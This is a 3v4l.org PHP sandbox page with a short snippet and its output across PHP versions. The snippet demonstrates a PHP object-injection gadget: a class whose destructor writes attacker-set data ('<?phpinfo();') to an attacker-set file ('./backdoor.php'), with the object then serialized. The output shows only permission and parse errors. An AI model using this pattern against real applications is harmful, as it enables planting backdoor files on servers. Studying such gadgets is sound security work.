3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; serialize($a);
based on MGP1A
Output for 5.0.0 - 7.1.0
Warning: file_put_contents(./backdoor.php): failed to open stream: Permission denied in /in/VvKM3 on line 6
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/VvKM3 on line 5
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/VvKM3 on line 5
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/VvKM3 on line 5
Process exited with code 255.